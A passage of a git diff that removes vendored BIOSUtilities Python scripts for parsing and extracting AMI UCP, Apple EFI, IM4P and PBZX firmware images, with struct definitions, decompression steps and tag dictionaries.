make_dirs(extract_path, delete=True) - - # Get best AMI UCP Pattern match based on @UAF|@HPU Size - ucp_buffer,ucp_tag = get_ami_ucp(input_buffer) - - uaf_hdr = get_struct(ucp_buffer, 0, UafHeader) # Parse @UAF|@HPU Header Structure - - printer(f'Utility Auxiliary File > {ucp_tag}:\n', padding + 4) - - uaf_hdr.struct_print(padding + 8) - - fake = struct.pack(' @UAF|@HPU Module/Section -def uaf_extract(buffer, extract_path, mod_info, padding=0, checksum=False, nal_dict=None): - if nal_dict is None: - nal_dict = {} - - uaf_tag,uaf_off,uaf_hdr = mod_info - - uaf_data_all = buffer[uaf_off:uaf_off + uaf_hdr.ModuleSize] # @UAF|@HPU Module Entire Data - - uaf_data_mod = uaf_data_all[UAF_HDR_LEN:] # @UAF|@HPU Module EFI Data - - uaf_data_raw = uaf_data_mod[UAF_MOD_LEN:] # @UAF|@HPU Module Raw Data - - printer(f'Utility Auxiliary File > {uaf_tag}:\n', padding) - - uaf_hdr.struct_print(padding + 4) # Print @UAF|@HPU Module Info - - uaf_mod = get_struct(buffer, uaf_off + UAF_HDR_LEN, UafModule) # Parse UAF Module EFI Structure - - is_comp = uaf_mod.CompressSize != uaf_mod.OriginalSize # Detect @UAF|@HPU Module EFI Compression - - if uaf_tag in nal_dict: - uaf_name = nal_dict[uaf_tag][1] # Always prefer @NAL naming first - elif uaf_tag in UAF_TAG_DICT: - uaf_name = UAF_TAG_DICT[uaf_tag][0] # Otherwise use built-in naming - elif uaf_tag == '@ROM': - uaf_name = 'BIOS.bin' # BIOS/PFAT Firmware (w/o Signature) - elif uaf_tag.startswith('@R0'): - uaf_name = f'BIOS_0{uaf_tag[3:]}.bin' # BIOS/PFAT Firmware - elif uaf_tag.startswith('@S0'): - uaf_name = f'BIOS_0{uaf_tag[3:]}.sig' # BIOS/PFAT Signature - elif uaf_tag.startswith('@DR'): - uaf_name = f'DROM_0{uaf_tag[3:]}.bin' # Thunderbolt Retimer Firmware - elif uaf_tag.startswith('@DS'): - uaf_name = f'DROM_0{uaf_tag[3:]}.sig' # Thunderbolt Retimer Signature - elif uaf_tag.startswith('@EC'): - uaf_name = f'EC_0{uaf_tag[3:]}.bin' # Embedded Controller Firmware - elif uaf_tag.startswith('@ME'): - uaf_name = f'ME_0{uaf_tag[3:]}.bin' # Management Engine Firmware - else: - uaf_name = uaf_tag # Could not name the @UAF|@HPU Module, use Tag instead - - uaf_fext = '' if uaf_name != uaf_tag else '.bin' - - uaf_fdesc = UAF_TAG_DICT[uaf_tag][1] if uaf_tag in UAF_TAG_DICT else uaf_name - - uaf_mod.struct_print(padding + 4, uaf_name + uaf_fext, uaf_fdesc) # Print @UAF|@HPU Module EFI Info - - # Check if unknown @UAF|@HPU Module Tag is present in @NAL but not in built-in dictionary - if uaf_tag in nal_dict and uaf_tag not in UAF_TAG_DICT and not uaf_tag.startswith(('@ROM','@R0','@S0','@DR','@DS')): - printer(f'Note: Detected new AMI UCP Module {uaf_tag} ({nal_dict[uaf_tag][1]}) in @NAL!', padding + 4, pause=True) - - # Generate @UAF|@HPU Module File name, depending on whether decompression will be required - uaf_sname = safe_name(uaf_name + ('.temp' if is_comp else uaf_fext)) - if uaf_tag in nal_dict: - uaf_npath = safe_path(extract_path, nal_dict[uaf_tag][0]) - make_dirs(uaf_npath, exist_ok=True) - uaf_fname = safe_path(uaf_npath, uaf_sname) - else: - uaf_fname = safe_path(extract_path, uaf_sname) - - if checksum: - chk16_validate(uaf_data_all, uaf_tag, padding + 4) - - # Parse Utility Identification Information @UAF|@HPU Module (@UII) - if uaf_tag == '@UII': - info_hdr = get_struct(uaf_data_raw, 0, UiiHeader) # Parse @UII Module Raw Structure - - info_data = uaf_data_raw[max(UII_HDR_LEN,info_hdr.InfoSize):info_hdr.UIISize] # @UII Module Info Data - - # Get @UII Module Info/Description text field - info_desc = info_data.decode('utf-8','ignore').strip('\x00 ') - - printer('Utility Identification Information:\n', padding + 4) - - info_hdr.struct_print(padding + 8, info_desc) # Print @UII Module Info - - if checksum: - chk16_validate(uaf_data_raw, '@UII > Info', padding + 8) - - # Store/Save @UII Module Info in file - with open(uaf_fname[:-4] + '.txt', 'a', encoding='utf-8') as uii_out: - with contextlib.redirect_stdout(uii_out): - info_hdr.struct_print(0, info_desc) # Store @UII Module Info - - # Adjust @UAF|@HPU Module Raw Data for extraction - if is_comp: - # Some Compressed @UAF|@HPU Module EFI data lack necessary EOF padding - if uaf_mod.CompressSize > len(uaf_data_raw): - comp_padd = b'\x00' * (uaf_mod.CompressSize - len(uaf_data_raw)) - uaf_data_raw = uaf_data_mod[:UAF_MOD_LEN] + uaf_data_raw + comp_padd # Add missing padding for decompression - else: - uaf_data_raw = uaf_data_mod[:UAF_MOD_LEN] + uaf_data_raw # Add the EFI/Tiano Compression info before Raw Data - else: - uaf_data_raw = uaf_data_raw[:uaf_mod.OriginalSize] # No compression, extend to end of Original @UAF|@HPU Module size - - # Store/Save @UAF|@HPU Module file - if uaf_tag != '@UII': # Skip @UII binary, already parsed - with open(uaf_fname, 'wb') as uaf_out: - uaf_out.write(uaf_data_raw) - - # @UAF|@HPU Module EFI/Tiano Decompression - if is_comp and is_efi_compressed(uaf_data_raw, False): - dec_fname = uaf_fname.replace('.temp', uaf_fext) # Decompressed @UAF|@HPU Module file path - - if efi_decompress(uaf_fname, dec_fname, padding + 4) == 0: - with open(dec_fname, 'rb') as dec: - uaf_data_raw = dec.read() # Read back the @UAF|@HPU Module decompressed Raw data - - os.remove(uaf_fname) # Successful decompression, delete compressed @UAF|@HPU Module file - - uaf_fname = dec_fname # Adjust @UAF|@HPU Module file path to the decompressed one - - # Process and Print known text only @UAF|@HPU Modules (after EFI/Tiano Decompression) - if uaf_tag in UAF_TAG_DICT and UAF_TAG_DICT[uaf_tag][2] == 'Text': - printer(f'{UAF_TAG_DICT[uaf_tag][1]}:', padding + 4) - printer(uaf_data_raw.decode('utf-8','ignore'), padding + 8) - - # Parse Default Command Status @UAF|@HPU Module (@DIS) - if len(uaf_data_raw) and uaf_tag == '@DIS': - dis_hdr = get_struct(uaf_data_raw, 0x0, DisHeader) # Parse @DIS Module Raw Header Structure - - printer('Default Command Status Header:\n', padding + 4) - - dis_hdr.struct_print(padding + 8) # Print @DIS Module Raw Header Info - - # Store/Save @DIS Module Header Info in file - with open(uaf_fname[:-3] + 'txt', 'a', encoding='utf-8') as dis: - with contextlib.redirect_stdout(dis): - dis_hdr.struct_print(0) # Store @DIS Module Header Info - - dis_data = uaf_data_raw[DIS_HDR_LEN:] # @DIS Module Entries Data - - # Parse all @DIS Module Entries - for mod_idx in range(dis_hdr.EntryCount): - dis_mod = get_struct(dis_data, mod_idx * DIS_MOD_LEN, DisModule) # Parse @DIS Module Raw Entry Structure - - printer(f'Default Command Status Entry {mod_idx + 1:02d}/{dis_hdr.EntryCount:02d}:\n', padding + 8) - - dis_mod.struct_print(padding + 12) # Print @DIS Module Raw Entry Info - - # Store/Save @DIS Module Entry Info in file - with open(uaf_fname[:-3] + 'txt', 'a', encoding='utf-8') as dis: - with contextlib.redirect_stdout(dis): - printer() - dis_mod.struct_print(4) # Store @DIS Module Entry Info - - os.remove(uaf_fname) # Delete @DIS Module binary, info exported as text - - # Parse Name List @UAF|@HPU Module (@NAL) - if len(uaf_data_raw) >= 5 and (uaf_tag,uaf_data_raw[0],uaf_data_raw[4]) == ('@NAL',0x40,0x3A): - nal_info = uaf_data_raw.decode('utf-8','ignore').replace('\r','').strip().split('\n') - - printer('AMI UCP Module Name List:\n', padding + 4) - - # Parse all @NAL Module Entries - for info in nal_info: - info_tag,info_value = info.split(':',1) - - printer(f'{info_tag} : {info_value}', padding + 8, False) # Print @NAL Module Tag-Path Info - - info_part = agnostic_path(info_value).parts # Split OS agnostic path in parts - info_path = to_string(info_part[1:-1], os.sep) # Get path without drive/root or file - info_name = info_part[-1] # Get file from last path part - - nal_dict[info_tag] = (info_path,info_name) # Assign a file path & name to each Tag - - # Parse Insyde BIOS @UAF|@HPU Module (@INS) - if uaf_tag == '@INS' and is_insyde_ifd(uaf_fname): - ins_dir = os.path.join(extract_path, safe_name(f'{uaf_tag}_nested-IFD')) # Generate extraction directory - - if insyde_ifd_extract(uaf_fname, get_extract_path(ins_dir), padding + 4) == 0: - os.remove(uaf_fname) # Delete raw nested Insyde IFD image after successful extraction - - # Detect & Unpack AMI BIOS Guard (PFAT) BIOS image - if is_ami_pfat(uaf_data_raw): - pfat_dir = os.path.join(extract_path, safe_name(uaf_name)) - - parse_pfat_file(uaf_data_raw, get_extract_path(pfat_dir), padding + 4) - - os.remove(uaf_fname) # Delete raw PFAT BIOS image after successful extraction - - # Detect Intel Engine firmware image and show ME Analyzer advice - if uaf_tag.startswith('@ME') and PAT_INTEL_ENG.search(uaf_data_raw): - printer('Intel Management Engine (ME) Firmware:\n', padding + 4) - printer('Use "ME Analyzer" from https://github.com/platomav/MEAnalyzer', padding + 8, False) - - # Parse Nested AMI UCP image - if is_ami_ucp(uaf_data_raw): - uaf_dir = os.path.join(extract_path, safe_name(f'{uaf_tag}_nested-UCP')) # Generate extraction directory - - ucp_extract(uaf_data_raw, get_extract_path(uaf_dir), padding + 4, checksum) # Call recursively - - os.remove(uaf_fname) # Delete raw nested AMI UCP image after successful extraction - - return nal_dict - -# Get common ctypes Structure Sizes -UAF_HDR_LEN = ctypes.sizeof(UafHeader) -UAF_MOD_LEN = ctypes.sizeof(UafModule) -DIS_HDR_LEN = ctypes.sizeof(DisHeader) -DIS_MOD_LEN = ctypes.sizeof(DisModule) -UII_HDR_LEN = ctypes.sizeof(UiiHeader) - -# AMI UCP Tag Dictionary -UAF_TAG_DICT = { - '@3FI' : ['HpBiosUpdate32.efi', 'HpBiosUpdate32.efi', ''], - '@3S2' : ['HpBiosUpdate32.s12', 'HpBiosUpdate32.s12', ''], - '@3S4' : ['HpBiosUpdate32.s14', 'HpBiosUpdate32.s14', ''], - '@3S9' : ['HpBiosUpdate32.s09', 'HpBiosUpdate32.s09', ''], - '@3SG' : ['HpBiosUpdate32.sig', 'HpBiosUpdate32.sig', ''], - '@AMI' : ['UCP_Nested.bin', 'Nested AMI UCP', ''], - '@B12' : ['BiosMgmt.s12', 'BiosMgmt.s12', ''], - '@B14' : ['BiosMgmt.s14', 'BiosMgmt.s14', ''], - '@B32' : ['BiosMgmt32.s12', 'BiosMgmt32.s12', ''], - '@B34' : ['BiosMgmt32.s14', 'BiosMgmt32.s14', ''], - '@B39' : ['BiosMgmt32.s09', 'BiosMgmt32.s09', ''], - '@B3E' : ['BiosMgmt32.efi', 'BiosMgmt32.efi', ''], - '@BM9' : ['BiosMgmt.s09', 'BiosMgmt.s09', ''], - '@BME' : ['BiosMgmt.efi', 'BiosMgmt.efi', ''], - '@CKV' : ['Check_Version.txt', 'Check Version', 'Text'], - '@CMD' : ['AFU_Command.txt', 'AMI AFU Command', 'Text'], - '@CML' : ['CMOSD4.txt', 'CMOS Item Number-Value (MSI)', 'Text'], - '@CMS' : ['CMOSD4.exe', 'Get or Set CMOS Item (MSI)', ''], - '@CPM' : ['AC_Message.txt', 'Confirm Power Message', ''], - '@DCT' : ['DevCon32.exe', 'Device Console WIN32', ''], - '@DCX' : ['DevCon64.exe', 'Device Console WIN64', ''], - '@DFE' : ['HpDevFwUpdate.efi', 'HpDevFwUpdate.efi', ''], - '@DFS' : ['HpDevFwUpdate.s12', 'HpDevFwUpdate.s12', ''], - '@DIS' : ['Command_Status.bin', 'Default Command Status', ''], - '@ENB' : ['ENBG64.exe', 'ENBG64.exe', ''], - '@HPU' : ['UCP_Main.bin', 'Utility Auxiliary File (HP)', ''], - '@INS' : ['Insyde_Nested.bin', 'Nested Insyde SFX', ''], - '@M32' : ['HpBiosMgmt32.s12', 'HpBiosMgmt32.s12', ''], - '@M34' : ['HpBiosMgmt32.s14', 'HpBiosMgmt32.s14', ''], - '@M39' : ['HpBiosMgmt32.s09', 'HpBiosMgmt32.s09', ''], - '@M3I' : ['HpBiosMgmt32.efi', 'HpBiosMgmt32.efi', ''], - '@MEC' : ['FWUpdLcl.txt', 'Intel FWUpdLcl Command', 'Text'], - '@MED' : ['FWUpdLcl_DOS.exe', 'Intel FWUpdLcl DOS', ''], - '@MET' : ['FWUpdLcl_WIN32.exe', 'Intel FWUpdLcl WIN32', ''], - '@MFI' : ['HpBiosMgmt.efi', 'HpBiosMgmt.efi', ''], - '@MS2' : ['HpBiosMgmt.s12', 'HpBiosMgmt.s12', ''], - '@MS4' : ['HpBiosMgmt.s14', 'HpBiosMgmt.s14', ''], - '@MS9' : ['HpBiosMgmt.s09', 'HpBiosMgmt.s09', ''], - '@NAL' : ['UCP_List.txt', 'AMI UCP Module Name List', ''], - '@OKM' : ['OK_Message.txt', 'OK Message', ''], - '@PFC' : ['BGT_Command.txt', 'AMI BGT Command', 'Text'], - '@R3I' : ['CryptRSA32.efi', 'CryptRSA32.efi', ''], - '@RFI' : ['CryptRSA.efi', 'CryptRSA.efi', ''], - '@UAF' : ['UCP_Main.bin', 'Utility Auxiliary File (AMI)', ''], - '@UFI' : ['HpBiosUpdate.efi', 'HpBiosUpdate.efi', ''], - '@UII' : ['UCP_Info.txt', 'Utility Identification Information', ''], - '@US2' : ['HpBiosUpdate.s12', 'HpBiosUpdate.s12', ''], - '@US4' : ['HpBiosUpdate.s14', 'HpBiosUpdate.s14', ''], - '@US9' : ['HpBiosUpdate.s09', 'HpBiosUpdate.s09', ''], - '@USG' : ['HpBiosUpdate.sig', 'HpBiosUpdate.sig', ''], - '@VER' : ['OEM_Version.txt', 'OEM Version', 'Text'], - '@VXD' : ['amifldrv.vxd', 'amifldrv.vxd', ''], - '@W32' : ['amifldrv32.sys', 'amifldrv32.sys', ''], - '@W64' : ['amifldrv64.sys', 'amifldrv64.sys', ''], - } - -if __name__ == '__main__': - utility = BIOSUtility(TITLE, is_ami_ucp, ucp_extract) - utility.parse_argument('-c', '--checksum', help='verify AMI UCP Checksums (slow)', action='store_true') - utility.run_utility() diff --git a/blobs/t480/biosutilities/Apple_EFI_ID.py b/blobs/t480/biosutilities/Apple_EFI_ID.py deleted file mode 100644 index 1003b6766..000000000 --- a/blobs/t480/biosutilities/Apple_EFI_ID.py +++ /dev/null @@ -1,167 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Apple EFI ID -Apple EFI Image Identifier -Copyright (C) 2018-2022 Plato Mavropoulos -""" - -TITLE = 'Apple EFI Image Identifier v2.0_a5' - -import os -import sys -import zlib -import struct -import ctypes -import subprocess - -# Stop __pycache__ generation -sys.dont_write_bytecode = True - -from common.externals import get_uefifind_path, get_uefiextract_path -from common.path_ops import del_dirs, path_parent, path_suffixes -from common.patterns import PAT_APPLE_EFI -from common.struct_ops import char, get_struct, uint8_t -from common.system import printer -from common.templates import BIOSUtility -from common.text_ops import file_to_bytes - -class IntelBiosId(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('Signature', char*8), # 0x00 - ('BoardID', uint8_t*16), # 0x08 - ('Dot1', uint8_t*2), # 0x18 - ('BoardExt', uint8_t*6), # 0x1A - ('Dot2', uint8_t*2), # 0x20 - ('VersionMajor', uint8_t*8), # 0x22 - ('Dot3', uint8_t*2), # 0x2A - ('BuildType', uint8_t*2), # 0x2C - ('VersionMinor', uint8_t*4), # 0x2E - ('Dot4', uint8_t*2), # 0x32 - ('Year', uint8_t*4), # 0x34 - ('Month', uint8_t*4), # 0x38 - ('Day', uint8_t*4), # 0x3C - ('Hour', uint8_t*4), # 0x40 - ('Minute', uint8_t*4), # 0x44 - ('NullTerminator', uint8_t*2), # 0x48 - # 0x4A - ] - - # https://github.com/tianocore/edk2-platforms/blob/master/Platform/Intel/BoardModulePkg/Include/Guid/BiosId.h - - @staticmethod - def decode(field): - return struct.pack('B' * len(field), *field).decode('utf-16','ignore').strip('\x00 ') - - def get_bios_id(self): - BoardID = self.decode(self.BoardID) - BoardExt = self.decode(self.BoardExt) - VersionMajor = self.decode(self.VersionMajor) - BuildType = self.decode(self.BuildType) - VersionMinor = self.decode(self.VersionMinor) - BuildDate = f'20{self.decode(self.Year)}-{self.decode(self.Month)}-{self.decode(self.Day)}' - BuildTime = f'{self.decode(self.Hour)}-{self.decode(self.Minute)}' - - return BoardID, BoardExt, VersionMajor, BuildType, VersionMinor, BuildDate, BuildTime - - def struct_print(self, p): - BoardID,BoardExt,VersionMajor,BuildType,VersionMinor,BuildDate,BuildTime = self.get_bios_id() - - printer(['Intel Signature:', self.Signature.decode('utf-8')], p, False) - printer(['Board Identity: ', BoardID], p, False) - printer(['Apple Identity: ', BoardExt], p, False) - printer(['Major Version: ', VersionMajor], p, False) - printer(['Minor Version: ', VersionMinor], p, False) - printer(['Build Type: ', BuildType], p, False) - printer(['Build Date: ', BuildDate], p, False) - printer(['Build Time: ', BuildTime.replace('-',':')], p, False) - -# Check if input is Apple EFI image -def is_apple_efi(input_file): - input_buffer = file_to_bytes(input_file) - - if PAT_APPLE_EFI.search(input_buffer): - return True - - if not os.path.isfile(input_file): - return False - - try: - _ = subprocess.run([get_uefifind_path(), input_file, 'body', 'list', PAT_UEFIFIND], - check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) - - return True - except Exception: - return False - -# Parse & Identify (or Rename) Apple EFI image -def apple_efi_identify(input_file, extract_path, padding=0, rename=False): - if not os.path.isfile(input_file): - printer('Error: Could not find input file path!', padding) - - return 1 - - input_buffer = file_to_bytes(input_file) - - bios_id_match = PAT_APPLE_EFI.search(input_buffer) # Detect $IBIOSI$ pattern - - if bios_id_match: - bios_id_res = f'0x{bios_id_match.start():X}' - - bios_id_hdr = get_struct(input_buffer, bios_id_match.start(), IntelBiosId) - else: - # The $IBIOSI$ pattern is within EFI compressed modules so we need to use UEFIFind and UEFIExtract - try: - bios_id_res = subprocess.check_output([get_uefifind_path(), input_file, 'body', 'list', PAT_UEFIFIND], - text=True)[:36] - - del_dirs(extract_path) # UEFIExtract must create its output folder itself, make sure it is not present - - _ = subprocess.run([get_uefiextract_path(), input_file, bios_id_res, '-o', extract_path, '-m', 'body'], - check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) - - with open(os.path.join(extract_path, 'body.bin'), 'rb') as raw_body: - body_buffer = raw_body.read() - - bios_id_match = PAT_APPLE_EFI.search(body_buffer) # Detect decompressed $IBIOSI$ pattern - - bios_id_hdr = get_struct(body_buffer, bios_id_match.start(), IntelBiosId) - - del_dirs(extract_path) # Successful UEFIExtract extraction, remove its output (temp) folder - except Exception: - printer('Error: Failed to parse compressed $IBIOSI$ pattern!', padding) - - return 2 - - printer(f'Detected $IBIOSI$ at {bios_id_res}\n', padding) - - bios_id_hdr.struct_print(padding + 4) - - if rename: - input_parent = path_parent(input_file) - - input_suffix = path_suffixes(input_file)[-1] - - input_adler32 = zlib.adler32(input_buffer) - - ID,Ext,Major,Type,Minor,Date,Time = bios_id_hdr.get_bios_id() - - output_name = f'{ID}_{Ext}_{Major}_{Type}{Minor}_{Date}_{Time}_{input_adler32:08X}{input_suffix}' - - output_file = os.path.join(input_parent, output_name) - - if not os.path.isfile(output_file): - os.replace(input_file, output_file) # Rename input file based on its EFI tag - - printer(f'Renamed to {output_name}', padding) - - return 0 - -PAT_UEFIFIND = f'244942494F534924{"."*32}2E00{"."*12}2E00{"."*16}2E00{"."*12}2E00{"."*40}0000' - -if __name__ == '__main__': - utility = BIOSUtility(TITLE, is_apple_efi, apple_efi_identify) - utility.parse_argument('-r', '--rename', help='rename EFI image based on its tag', action='store_true') - utility.run_utility() diff --git a/blobs/t480/biosutilities/Apple_EFI_IM4P.py b/blobs/t480/biosutilities/Apple_EFI_IM4P.py deleted file mode 100644 index 5dceefa31..000000000 --- a/blobs/t480/biosutilities/Apple_EFI_IM4P.py +++ /dev/null @@ -1,145 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Apple EFI IM4P -Apple EFI IM4P Splitter -Copyright (C) 2018-2022 Plato Mavropoulos -""" - -TITLE = 'Apple EFI IM4P Splitter v3.0_a5' - -import os -import sys - -# Stop __pycache__ generation -sys.dont_write_bytecode = True - -from common.path_ops import make_dirs, path_stem -from common.patterns import PAT_APPLE_IM4P, PAT_INTEL_IFD -from common.system import printer -from common.templates import BIOSUtility -from common.text_ops import file_to_bytes - -# Check if input is Apple EFI IM4P image -def is_apple_im4p(input_file): - input_buffer = file_to_bytes(input_file) - - is_im4p = PAT_APPLE_IM4P.search(input_buffer) - - is_ifd = PAT_INTEL_IFD.search(input_buffer) - - return bool(is_im4p and is_ifd) - -# Parse & Split Apple EFI IM4P image -def apple_im4p_split(input_file, extract_path, padding=0): - exit_codes = [] - - input_buffer = file_to_bytes(input_file) - - make_dirs(extract_path, delete=True) - - # Detect IM4P EFI pattern - im4p_match = PAT_APPLE_IM4P.search(input_buffer) - - # After IM4P mefi (0x15), multi EFI payloads have _MEFIBIN (0x100) but is difficult to RE w/o varying samples. - # However, _MEFIBIN is not required for splitting SPI images due to Intel Flash Descriptor Components Density. - - # IM4P mefi payload start offset - mefi_data_bgn = im4p_match.start() + input_buffer[im4p_match.start() - 0x1] - - # IM4P mefi payload size - mefi_data_len = int.from_bytes(input_buffer[im4p_match.end() + 0x5:im4p_match.end() + 0x9], 'big') - - # Check if mefi is followed by _MEFIBIN - mefibin_exist = input_buffer[mefi_data_bgn:mefi_data_bgn + 0x8] == b'_MEFIBIN' - - # Actual multi EFI payloads start after _MEFIBIN - efi_data_bgn = mefi_data_bgn + 0x100 if mefibin_exist else mefi_data_bgn - - # Actual multi EFI payloads size without _MEFIBIN - efi_data_len = mefi_data_len - 0x100 if mefibin_exist else mefi_data_len - - # Adjust input file buffer to actual multi EFI payloads data - input_buffer = input_buffer[efi_data_bgn:efi_data_bgn + efi_data_len] - - # Parse Intel Flash Descriptor pattern matches - for ifd in PAT_INTEL_IFD.finditer(input_buffer): - # Component Base Address from FD start (ICH8-ICH10 = 1, IBX = 2, CPT+ = 3) - ifd_flmap0_fcba = input_buffer[ifd.start() + 0x4] * 0x10 - - # I/O Controller Hub (ICH) - if ifd_flmap0_fcba == 0x10: - # At ICH, Flash Descriptor starts at 0x0 - ifd_bgn_substruct = 0x0 - - # 0xBC for [0xAC] + 0xFF * 16 sanity check - ifd_end_substruct = 0xBC - - # Platform Controller Hub (PCH) - else: - # At PCH, Flash Descriptor starts at 0x10 - ifd_bgn_substruct = 0x10 - - # 0xBC for [0xAC] + 0xFF * 16 sanity check - ifd_end_substruct = 0xBC - - # Actual Flash Descriptor Start Offset - ifd_match_start = ifd.start() - ifd_bgn_substruct - - # Actual Flash Descriptor End Offset - ifd_match_end = ifd.end() - ifd_end_substruct - - # Calculate Intel Flash Descriptor Flash Component Total Size - - # Component Count (00 = 1, 01 = 2) - ifd_flmap0_nc = ((int.from_bytes(input_buffer[ifd_match_end:ifd_match_end + 0x4], 'little') >> 8) & 3) + 1 - - # PCH/ICH Strap Length (ME 2-8 & TXE 0-2 & SPS 1-2 <= 0x12, ME 9+ & TXE 3+ & SPS 3+ >= 0x13) - ifd_flmap1_isl = input_buffer[ifd_match_end + 0x7] - - # Component Density Byte (ME 2-8 & TXE 0-2 & SPS 1-2 = 0:5, ME 9+ & TXE 3+ & SPS 3+ = 0:7) - ifd_comp_den = input_buffer[ifd_match_start + ifd_flmap0_fcba] - - # Component 1 Density Bits (ME 2-8 & TXE 0-2 & SPS 1-2 = 3, ME 9+ & TXE 3+ & SPS 3+ = 4) - ifd_comp_1_bitwise = 0xF if ifd_flmap1_isl >= 0x13 else 0x7 - - # Component 2 Density Bits (ME 2-8 & TXE 0-2 & SPS 1-2 = 3, ME 9+ & TXE 3+ & SPS 3+ = 4) - ifd_comp_2_bitwise = 0x4 if ifd_flmap1_isl >= 0x13 else 0x3 - - # Component 1 Density (FCBA > C0DEN) - ifd_comp_all_size = IFD_COMP_LEN[ifd_comp_den & ifd_comp_1_bitwise] - - # Component 2 Density (FCBA > C1DEN) - if ifd_flmap0_nc == 2: - ifd_comp_all_size += IFD_COMP_LEN[ifd_comp_den >> ifd_comp_2_bitwise] - - ifd_data_bgn = ifd_match_start - ifd_data_end = ifd_data_bgn + ifd_comp_all_size - ifd_data_txt = f'0x{ifd_data_bgn:07X}-0x{ifd_data_end:07X}' - - output_data = input_buffer[ifd_data_bgn:ifd_data_end] - - output_size = len(output_data) - - output_name = path_stem(input_file) if os.path.isfile(input_file) else 'Part' - - output_path = os.path.join(extract_path, f'{output_name}_[{ifd_data_txt}].fd') - - with open(output_path, 'wb') as output_image: - output_image.write(output_data) - - printer(f'Split Apple EFI image at {ifd_data_txt}!', padding) - - if output_size != ifd_comp_all_size: - printer(f'Error: Bad image size 0x{output_size:07X}, expected 0x{ifd_comp_all_size:07X}!', padding + 4) - - exit_codes.append(1) - - return sum(exit_codes) - -# Intel Flash Descriptor Component Sizes (4MB, 8MB, 16MB and 32MB) -IFD_COMP_LEN = {3: 0x400000, 4: 0x800000, 5: 0x1000000, 6: 0x2000000} - -if __name__ == '__main__': - BIOSUtility(TITLE, is_apple_im4p, apple_im4p_split).run_utility() diff --git a/blobs/t480/biosutilities/Apple_EFI_PBZX.py b/blobs/t480/biosutilities/Apple_EFI_PBZX.py deleted file mode 100644 index 8e4f55364..000000000 --- a/blobs/t480/biosutilities/Apple_EFI_PBZX.py +++ /dev/null @@ -1,118 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Apple PBZX Extract -Apple EFI PBZX Extractor -Copyright (C) 2021-2022 Plato Mavropoulos -""" - -TITLE = 'Apple EFI PBZX Extractor v1.0_a5' - -import os -import sys -import lzma -import ctypes - -# Stop __pycache__ generation -sys.dont_write_bytecode = True - -from common.comp_szip import is_szip_supported, szip_decompress -from common.path_ops import make_dirs, path_stem -from common.patterns import PAT_APPLE_PBZX -from common.struct_ops import get_struct, uint32_t -from common.system import printer -from common.templates import BIOSUtility -from common.text_ops import file_to_bytes - -class PbzxChunk(ctypes.BigEndianStructure): - _pack_ = 1 - _fields_ = [ - ('Reserved0', uint32_t), # 0x00 - ('InitSize', uint32_t), # 0x04 - ('Reserved1', uint32_t), # 0x08 - ('CompSize', uint32_t), # 0x0C - # 0x10 - ] - - def struct_print(self, p): - printer(['Reserved 0 :', f'0x{self.Reserved0:X}'], p, False) - printer(['Initial Size :', f'0x{self.InitSize:X}'], p, False) - printer(['Reserved 1 :', f'0x{self.Reserved1:X}'], p, False) - printer(['Compressed Size:', f'0x{self.CompSize:X}'], p, False) - -# Check if input is Apple PBZX image -def is_apple_pbzx(input_file): - input_buffer = file_to_bytes(input_file) - - return bool(PAT_APPLE_PBZX.search(input_buffer[:0x4])) - -# Parse & Extract Apple PBZX image -def apple_pbzx_extract(input_file, extract_path, padding=0): - input_buffer = file_to_bytes(input_file) - - make_dirs(extract_path, delete=True) - - cpio_bin = b'' # Initialize PBZX > CPIO Buffer - cpio_len = 0x0 # Initialize PBZX > CPIO Length - - chunk_off = 0xC # First PBZX Chunk starts at 0xC - while chunk_off < len(input_buffer): - chunk_hdr = get_struct(input_buffer, chunk_off, PbzxChunk) - - printer(f'PBZX Chunk at 0x{chunk_off:08X}\n', padding) - - chunk_hdr.struct_print(padding + 4) - - # PBZX Chunk data starts after its Header - comp_bgn = chunk_off + PBZX_CHUNK_HDR_LEN - - # To avoid a potential infinite loop, double-check Compressed Size - comp_end = comp_bgn + max(chunk_hdr.CompSize, PBZX_CHUNK_HDR_LEN) - - comp_bin = input_buffer[comp_bgn:comp_end] - - try: - # Attempt XZ decompression, if applicable to Chunk data - cpio_bin += lzma.LZMADecompressor().decompress(comp_bin) - - printer('Successful LZMA decompression!', padding + 8) - except Exception: - # Otherwise, Chunk data is not compressed - cpio_bin += comp_bin - - # Final CPIO size should match the sum of all Chunks > Initial Size - cpio_len += chunk_hdr.InitSize - - # Next Chunk starts at the end of current Chunk's data - chunk_off = comp_end - - # Check that CPIO size is valid based on all Chunks > Initial Size - if cpio_len != len(cpio_bin): - printer('Error: Unexpected CPIO archive size!', padding) - - return 1 - - cpio_name = path_stem(input_file) if os.path.isfile(input_file) else 'Payload' - - cpio_path = os.path.join(extract_path, f'{cpio_name}.cpio') - - with open(cpio_path, 'wb') as cpio_object: - cpio_object.write(cpio_bin) - - # Decompress PBZX > CPIO archive with 7-Zip - if is_szip_supported(cpio_path, padding, args=['-tCPIO'], check=True): - if szip_decompress(cpio_path, extract_path, 'CPIO', padding, args=['-tCPIO'], check=True) == 0: - os.remove(cpio_path) # Successful extraction, delete PBZX > CPIO archive - else: - return 3 - else: - return 2 - - return 0 - -# Get common ctypes Structure Sizes -PBZX_CHUNK_HDR_LEN = ctypes.sizeof(PbzxChunk) - -if __name__ == '__main__': - BIOSUtility(TITLE, is_apple_pbzx, apple_pbzx_extract).run_utility() diff --git a/blobs/t480/biosutilities/Apple_EFI_PKG.py b/blobs/t480/biosutilities/Apple_EFI_PKG.py deleted file mode 100644 index a185547db..000000000 --- a/blobs/t480/biosutilities/Apple_EFI_PKG.py +++ /dev/null @@ -1,148 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Apple EFI PKG -Apple EFI Package Extractor -Copyright (C) 2019-2022 Plato Mavropoulos -""" - -TITLE = 'Apple EFI Package Extractor v2.0_a5' - -import os -import sys - -# Stop __pycache__ generation -sys.dont_write_bytecode = True - -from common.comp_szip import is_szip_supported, szip_decompress -from common.path_ops import copy_file, del_dirs, get_path_files, make_dirs, path_name, path_parent, get_extract_path -from common.patterns import PAT_APPLE_PKG -from common.system import printer -from common.templates import BIOSUtility -from common.text_ops import file_to_bytes - -from Apple_EFI_ID import apple_efi_identify, is_apple_efi -from Apple_EFI_IM4P import 